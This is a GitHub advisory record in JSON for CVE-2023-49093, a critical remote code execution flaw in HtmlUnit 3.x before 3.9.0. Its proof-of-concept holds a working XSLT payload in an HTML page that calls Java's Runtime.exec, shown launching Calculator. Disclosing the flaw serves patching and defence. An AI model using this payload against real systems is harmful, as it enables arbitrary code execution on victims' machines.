{"id":"GHSA-37vq-hr2f-g7h7","summary":"HtmlUnit vulnerable to Remote Code Execution (RCE) via XSTL","details":"### Summary\nHtmlUnit 3.8.0 are vulnerable to Remote Code Execution (RCE) via XSTL, when browsing the attacker’s webpage\n\n### Details\nVulnerability code location:\norg.htmlunit.activex.javascript.msxml.XSLProcessor#transform(org.htmlunit.activex.javascript.msxml.XMLDOMNode)\n\nThe reason for the vulnerability is that it was not enabled FEATURE_SECURE_PROCESSING for the XSLT processor\n\n### PoC\npom.xml:\n```\n\u003cdependency\u003e\n  \u003cgroupId\u003eorg.htmlunit\u003c/groupId\u003e\n  \u003cartifactId\u003ehtmlunit\u003c/artifactId\u003e\n  \u003cversion\u003e3.8.0\u003c/version\u003e\n\u003c/dependency\u003e\n```\n\ncode:\n```\nWebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER);\nHtmlPage page = webClient.getPage(\"http://127.0.0.1:8080/test.html\");\nSystem.out.println(page.asNormalizedText());\n```\n\ntest.html:\n```\n\u003cscript\u003e\n    var xslt = new ActiveXObject(\"Msxml2.XSLTemplate.6.0\");\n    var xslDoc = new ActiveXObject(\"Msxml2.FreeThreadedDOMDocument.6.0\");\n    var xslProc;\n    xslDoc.async = false;\n    xslDoc.loadXML(`\u003cxsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:rt=\"http://xml.apache.org/xalan/java/java.lang.Runtime\" xmlns:ob=\"http://xml.apache.org/xalan/java/java.lang.Object\"\u003e\n   \u003cxsl:template match=\"/\"\u003e\n     \u003cxsl:variable name=\"rtobject\" select=\"rt:getRuntime()\"/\u003e\n     \u003cxsl:variable name=\"process\" select=\"rt:exec($rtobject,'open -a Calculator')\"/\u003e\n     \u003cxsl:variable name=\"processString\" select=\"ob:toString($process)\"/\u003e\n     \u003cspan\u003e\u003cxsl:value-of select=\"$processString\"/\u003e\u003c/span\u003e\n   \u003c/xsl:template\u003e\n \u003c/xsl:stylesheet\u003e`)\n\n    if (xslDoc.parseError.errorCode != 0) {\n        var myErr = xslDoc.parseError;\n        document.write(\"ParseError: \"+myErr.reason);\n    } else {\n        xslt.stylesheet = xslDoc;\n        var xmlDoc = new ActiveXObject(\"Msxml2.DOMDocument.6.0\");\n        xmlDoc.async = false;\n        xmlDoc.loadXML(\"\u003cs\u003e\u003c/s\u003e\");\n        if (xmlDoc.parseError.errorCode != 0) {\n            var myErr = xmlDoc.parseError;\n            document.write(\"Document error: \" + myErr.reason);\n        } else {\n            xslProc = xslt.createProcessor();\n            xslProc.input = xmlDoc;\n            xslProc.transform();\n            document.write(xslProc.output);\n        }\n    }\n\u003c/script\u003e\n```\n\n\n### Impact\nRemote Code Execution","aliases":["CVE-2023-49093"],"modified":"2026-09-10T03:49:59.262947324Z","published":"2023-12-04T23:13:30Z","database_specific":{"cwe_ids":["CWE-94"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2023-12-04T23:13:30Z","nvd_published_at":"2023-12-04T05:15:07Z"},"references":[{"type":"WEB","url":"https://github.com/HtmlUnit/htmlunit/security/advisories/GHSA-37vq-hr2f-g7h7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-49093"},{"type":"PACKAGE","url":"https://github.com/HtmlUnit/htmlunit"},{"type":"WEB","url":"https://www.htmlunit.org/changes-report.html#a3.9.0"}],"affected":[{"package":{"name":"org.htmlunit:htmlunit","ecosystem":"Maven","purl":"pkg:maven/org.htmlunit/htmlunit"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.0"}]}],"versions":["3.0.0","3.1.0","3.2.0","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-37vq-hr2f-g7h7/GHSA-37vq-hr2f-g7h7.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}